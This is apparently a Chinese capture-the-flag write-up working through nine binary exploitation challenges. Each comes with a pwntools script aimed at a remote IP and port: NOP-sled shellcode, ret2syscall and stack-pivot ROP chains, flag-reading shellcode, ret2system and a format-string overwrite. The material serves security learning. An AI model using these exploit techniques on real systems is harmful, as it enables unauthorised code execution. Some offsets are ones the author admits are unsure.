拖了挺久才整理…不应该…以后要及时复盘. 本身题不是很难,不过有很多小细节,自己之前没弄懂,还是说有时间的话,多研究研究,以及之前的题,要进行一定的复盘.
恢复符号 比较恶心的一个点(其实也不恶心,就是自己之前没弄过),找到了一些文章,然后github有编译好的符号文件,可以直接ida导入就好了,回头有时间可以自己编译一下
https://github.com/maroueneboubakri/lscan
https://blog.csdn.net/Breeze_CAT/article/details/103788796
ida中shift+f5,然后把符号文件添加进去
还有就是一些地址的计算…头大,,(估计还是原理没完全搞明白)
pwn1 栈长度是0x68 = 104,但能读取256,很明显的栈溢出,可以覆盖返回地址,而且没有开NX保护,可以写shellcode,于是问题就变成了怎么跳到shellcode呢,或者怎么知道shellcode的地址,puts的话,遇到\x00才会停止所以可以前面填满,然后输出ebp这里的值,这里的值好像会有一些变化,所以可以不用太具体,前面一直加nop就好了,跳到nop然后走,然后shellcode
1 2 1 d:0074 │ 0xffffd4f4 ◂— 0x0 1 e:0078 │ ebp 0xffffd4f8 —▸ 0xffffd508 ◂— 0x0
ebp和esp差了0x90 esp和ecx(开始输出字符串那里)差了0x28,ebp输出的值和ebp差了0xbe,这样有点乱,画图会清晰很多
这样其实有问题,不太对,因为ebp那里的值其实是不确定的,但总是会往前指,或多或少,有时候正好指到shellcode开头或者偏移一点点,至于为什么呢…可以后面在研究,可以简单的跳到这个位置就好了,加一些nop(但是打远程的时候不知道为什么老不成功,可以加一点偏移,因为毕竟是往前跳)
有system有/bin/sh 能不能rop呢?
p32(addr-0xbe+0x2e+0x28)
换句话说,ebp这个位置的值如果正好位于 [ebp-0x68,ebp-len(shellcode)]之间的话,就正好到了nop,如果大的话,就需要我们来加一点值了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *sh = remote("101.43.247.245" ,9200 ) context.log_level= "debug" context.terminal = ['tmux' , 'splitw' , '-h' ] sh.recvuntil(b"say" ) sh.sendline(b"a" *0x68 ) sh.recv(0x68 ) addr = u32(sh.recv(4 )) shellcode = asm(shellcraft.sh()) nop = asm(''' nop ''' )shellcode = nop*30 +shellcode payload = shellcode.ljust(0x68 , b'b' ) + p32(0 )+p32(addr+0xbe -0x78 +0x10 -4 ) print (hex (addr))print (hex (addr+0xbe -0x90 +0x28 +4 ))sh.sendline(payload) sh.interactive()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *sh = process('./pwn01' ) context.log_level= "debug" context.terminal = ['tmux' , 'splitw' , '-h' ] sh.recvuntil(b"say" ) sh.sendline(b"a" *0x68 ) sh.recv(0x68 ) addr = u32(sh.recv(4 )) print (hex (addr))shellcode = asm(shellcraft.sh()) nop = asm(''' nop ''' )shellcode = nop*40 +shellcode payload = shellcode.ljust(0x68 ,b'b' ) + p32(0 )+p32(addr+0x2e +0x28 -4 ) sh.sendline(payload) sh.interactive()
还遇到很玄学的问题,nop加多了,怎么也不行,
感觉像是后面的指令并没有识别出来 不多,好像是没传送完全?
pwn2 加了nx保护,用rop吧,ret2syscall, 这下不用算哪个比较恶心的shellcode的位置了,用ret2syscall是因为没有找到system函数..
execve(“/bin/sh”,NULL,NULL)
其中,该程序是 32 位,所以我们需要使得
系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0
没有 /bin/sh,那就写入到栈后面,反正需要栈的地址,计算一下就可以了
1 2 3 4 5 6 7 8 9 10 11 12 0x080b8eb6 : pop eax ; ret 0x080481c9 : pop ebx ; ret 0x080df8bd : pop ecx ; ret 0x0806f83b : pop edx ; ret 0x0806d443 : int 0x80 ============================================================ 0x08048798 : leave ; ret
写一下payload
栈是104+4(ebp) = 108, 溢出了 256-108 = 148字节
1 2 3 4 binsh = addr + 10 *4 payload= b"a" *0x68 + b"b" *4 + p32(pop_eax)+p32(0xb )+p32(pop_ebx)+p32(binsh)+p32(pop_ecx)+p32(0 )+p32(pop_edx)+p32(0 ) + p32(int80)
泄露栈地址 puts函数遇到\n才会停止,所以可以以此来泄露栈上残留的值来泄露地址,其实不一定要泄露这个,哪个都行, 不过有一个问题就是,这个值会是固定的嘛…
不是固定的….可以换一个泄露,但是如果覆盖了ebp的话,是不是会影响栈桢呢….
溢出长度是不够的,需要栈迁移
当时好像想的是先把/bin/sh写到一个地方…
这是做的时候写的exp,是有概率拿到shell的…
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *sh = remote("101.43.247.245" ,9201 ) context.log_level= "debug" context.terminal = ['tmux' , 'splitw' , '-h' ] sh.recvuntil(b"say" ) sh.sendline(b"a" *0x68 ) sh.recv(0x68 ) addr = u32(sh.recv(4 )) pop_eax = 0x080b8eb6 pop_ebx = 0x080481c9 pop_ecx = 0x080df8bd pop_edx = 0x0806f83b int80 = 0x0806d443 leaveret = 0x08048798 binsh = addr + 0xae -0x78 +0x10 -4 + 11 *4 -4 payload= p32(pop_eax)+p32(0xb )+p32(pop_ebx)+p32(binsh)+p32(pop_ecx)+p32(0 )+p32(pop_edx)+p32(0 ) + p32(int80) + b"/bin/sh\x00" payload = payload.ljust(0x68 ,b"a" )+p32(addr+0xae -0x78 +0x10 -4 )+p32(leaveret) print (hex (addr))print (hex (addr+0xae -0x78 +0x10 -4 ))sh.sendline(payload) sh.interactive()
查看符号 readelf objdump?
pwn3 恶心的过滤…怎么把过滤应用到这了,
主要是 一个常用的指令, push xxx, 转成字节码会有\x68,正好命中了规则,草!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 ##!/usr/bin/env python from pwn import * #context(os='linux',arch="i386") #sh = process('./pwn3') sh = remote("101.43.247.245",9202) #systemaddr = 0x8048440 #binsh = 0x80486C0 #sh.sendline(b'A' * (0x68+4) + p32(systemaddr)+p32(0)+p32(binsh)) context.arch= 'x86' context.log_level= "debug" context.terminal = ['tmux', 'splitw', '-h'] #gdb.attach(sh,"b *0x8048967") #gdb.attach(sh) sh.recvuntil(b"say") ''' sh.sendline(b"a"*0x60+p32(0)+p32(0x99999)+b"d"*8) #sh.sendline(b"a"*0x70) #addr = u32(sh.recv(8)[4:8]) sh.recv(0x70) addr = u32(sh.recv(4)) print(hex(addr)) print(hex(addr+0xbe-0x90+0x28+4)) ''' pop_eax = 0x080b8f16 pop_ebx = 0x080481c9 pop_ecx = 0x080df91d pop_edx = 0x0806f89b int80 = 0x0806d4a3 leaveret = 0x08048798 bssaddr = 0x080ECDBB jmpesp = 0x080dea1f #binsh = addr + 0xae-0x78+0x10-4 + 11*4-4 str = "" #shellcode = asm("push 0x0;") shellcode = asm(''' push 0 mov eax,0x7478742e push eax mov eax,0x67616c66 push eax mov ebx,esp xor ecx,ecx #0 xor edx,edx #0 mov eax,0x5 #调用号 int 0x80 mov eax,0x3; mov ecx,ebx; # ecx = char __user *buf 缓冲区,读出的数据-->也就是读“flag” mov ebx,0x3; # 文件描述符 fd:是文件描述符 0 1 2 3 代表标准的输出输入和出错,其他打开的文件 mov edx,0x120; #对应字节数 int 0x80; mov eax,0x4; # eax = sys_write mov ebx,0x1; # ebx = unsigned int fd = 1 int 0x80; ''') #shellcode = b"\x66\x6c\x61\x67" + shellcode print(shellcode) #shellcode = asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80') #shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80') #shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80') payload1 = p32(pop_eax)+p32(0xb)+p32(pop_ebx)+p32(0)+p32(pop_ecx)+p32(0)+p32(pop_edx)+p32(0) + p32(int80) + b"cat$flag.txt\x00" #payload1 = p32(pop_eax)+p32(0x3)+p32(pop_ebx)+p32(0)+p32(pop_ecx)+p32(bssaddr)+p32(pop_edx)+p32(0x20) + p32(int80) #payload2 = p32(pop_eax)+p32(0x5)+p32(pop_ebx)+p32(bssaddr)+p32(pop_ecx)+p32(0)+p32(pop_edx)+p32(0) + p32(int80) #payload2 += p32(pop_eax)+p32(0x3)+p32(pop_ebx)+p32(3)+p32(pop_ecx)+p32(bssaddr)+p32(pop_edx)+p32(0x20) + p32(int80) #payload2 += p32(pop_eax)+p32(0x3)+p32(pop_ebx)+p32(0)+p32(pop_ecx)+p32(bssaddr)+p32(pop_edx)+p32(0x20) + p32(int80) #payload = shellcode #print(payload) #print("length") #print(len(payload)) #shellcode = b"" payload = shellcode.ljust(0x60,b"a") + p32(0)+p32(0xaaaaa) + p64(0) + p32(0xaaa) + p32(jmpesp) + asm("sub esp,0x78;jmp esp") #payload = b"a"*0x60 + p32(0)+p32(0xaaaaa) + p64(0) + p32(0xaaa) + p32(jmpesp) + asm("sub esp,0x78;jmp esp") #payload = b"a"*0x60 + p32(0)+p32(0x9999) sh.sendline(payload) sh.recv(0x120) sh.interactive()
pwn4 0x68 ebp ret 的栈空间 输入0x80 24字节溢出, 减去4字节ebp的话,还有20字节
只开了NX,那就还是rop吧,这个有system和/bin/sh、或者直接后门函数..
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 plt 0x8048440 system 0x80486C0 binsh .text:080485BD public shell .text:080485BD shell proc near .text:080485BD ; __unwind { .text:080485BD push ebp .text:080485BE mov ebp, esp .text:080485C0 sub esp, 8 .text:080485C3 sub esp, 0Ch .text:080485C6 push offset command ; "/bin/sh" .text:080485CB call _system .text:080485D0 add esp, 10h .text:080485D3 nop .text:080485D4 leave .text:080485D5 retn .text:080485D5 ; } // starts at 80485BD .text:080485D5 shell endp .text:080485D5
怎么看system的地址呢?,就是push的值不一样,但怎么确定哪个是system呢? (这个是动态链接了!)
exp
1 2 3 4 5 6 7 8 9 from pwn import *sh = remote("101.43.247.245" ,9203 ) systemaddr = 0x8048440 binsh = 0x80486C0 sh.sendline(b'A' * (0x68 +4 ) + p32(systemaddr)+p32(0 )+p32(binsh)) sh.interactive()
pwn5 主要是要理解清楚逻辑和内存代码布局就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 signed int sub_80488CE() { int v0; // eax char v2; // [esp-Ch] [ebp-24h] int v3; // [esp+Ch] [ebp-Ch] sub_804887C(); v3 = sub_8059F50(48); sub_8048987(v3, 48); v0 = sub_804DBD0(v3 + 16) + 5; if ( v0 == 8 ) { sub_8048987(v3, 48); } else if ( v0 > 8 ) { if ( v0 == 10 ) return 0; if ( v0 == 85145 ) sub_804F700("/bin/sh"); } else if ( v0 == 6 ) { sub_804FA00("where is shell", v2); } return 1; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import * #sh = process('./pwn5') sh = remote("101.43.247.245",9204) systemaddr = 0x8048440 binsh = 0x80486C0 context.log_level= "debug" context.terminal = ['tmux', 'splitw', '-h'] #gdb.attach(sh,"b *0x008048987") #payload = p32(0x1234)+p32(0x1234)+ p32(0x1234)+p32(0x1234)+ p32(0x1234)+p32(0x1234)+ p32(0x1234)+p32(0x1234)+p32(0x14c94000) payload = "1234123412341234" + "85140" sh.sendline(payload) sh.interactive()
pwn6 看看又改了啥…
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 signed int sub_80488CE() { int v0; // eax char v2; // [esp-Ch] [ebp-24h] char *nptr; // [esp+Ch] [ebp-Ch] sub_804887C(); nptr = (char *)sub_8059F40(48); sub_8048980(nptr, 48); v0 = atoi_0(nptr); if ( v0 == 2 ) { sub_8048980(nptr, 48); } else if ( v0 > 2 ) { if ( v0 == 3 ) return 0; if ( v0 == 12345 ) sub_804F6F0("/bin/sh"); } else if ( v0 == 1 ) { sub_804F9F0("where is shell", v2); } return 1; }
输入12345即可
root@hecs-149507:~/haida# nc 101.43.247.245 9205
12345
pwn7 1 2 3 4 5 6 7 8 9 int sub_89588B7() { char s; // [esp+0h] [ebp-68h] sub_895F980("please input the way you want go"); __libc_read(0, &s, 96); _IO_puts(&s); return sub_80488E7(&s, 0); }
一个char为什么能占据那么多栈空间???
应该是有很多路径,可以根据/bin/sh回溯吧?
是的…一点点回溯就可以找到
845542A -> 816c3f7->8091787->805ac47 ->804d177->8049ae7->8048cd7->8048977->80488e7->main
p32(87)+p32(83)+p32(68)+p32(87)+p32(65)+p32(65)+p32(87)+p32(68)+p32(87)
878368876565876887
WSDWAAWDW(这个就是答案)
为什么87变成0x38了 56了
0x80488fd movzx eax, byte ptr [eax]
pwn8 格式化字符串,修改内存值即可
修改0x80EBF9C处的值为28
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int sub_80488CE() { int result; // eax char v1; // [esp+0h] [ebp-68h] sub_804F9B0("please input what you want say"); __libc_read(0, &v1, 96); sub_804F9B0(&v1); if ( dword_80EBF9C == 28 ) result = sub_804F6B0("/bin/sh"); else result = sub_804F9B0("the key is %d %d"); return result; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import * payload = b"%28d" + b"A" * (0x90 - len(b"%28d")) + p32(0x80EBF9C) sh = remote("101.43.247.245",9207) context.log_level= "debug" context.terminal = ['tmux', 'splitw', '-h'] #gdb.attach(sh,"b *0x008048987") #payload = b"%28d" + b"A" * (0x90 - len(b"%28d")) + p32(0x80EBF9C) payload = fmtstr_payload(4,{0x80EBF9C:28}) sh.sendline(payload) sh.interactive()
pwn9 1 2 3 4 5 6 7 8 9 10 11 int sub_8048945() { char v1; // [esp+0h] [ebp-1B8h] char v2; // [esp+150h] [ebp-68h] _IO_puts("please input your username"); __libc_read(0, &v2, 32); _IO_puts("please input your passwd"); __libc_read(0, &v1, 335); return sub_80488E7(&v1); }
不存在溢出
后面函数是往一个地址写数据..有什么用呢?
有后们函数,所以应该是要覆盖字符串,或者说字符串复制
0x08048948 覆盖为 0x80488CE(system)
第一次写入要覆盖的地址,第二次覆盖
问题 回头有时间可以自己编译一下符号
这样其实有问题,不太对,因为ebp那里的值其实是不确定的,但总是会往前指,或多或少,有时候正好指到shellcode开头或者偏移一点点,至于为什么呢…可以后面在研究
哪个都行, 不过有一个问题就是,这个值会是固定的嘛…
plt的过程再熟悉下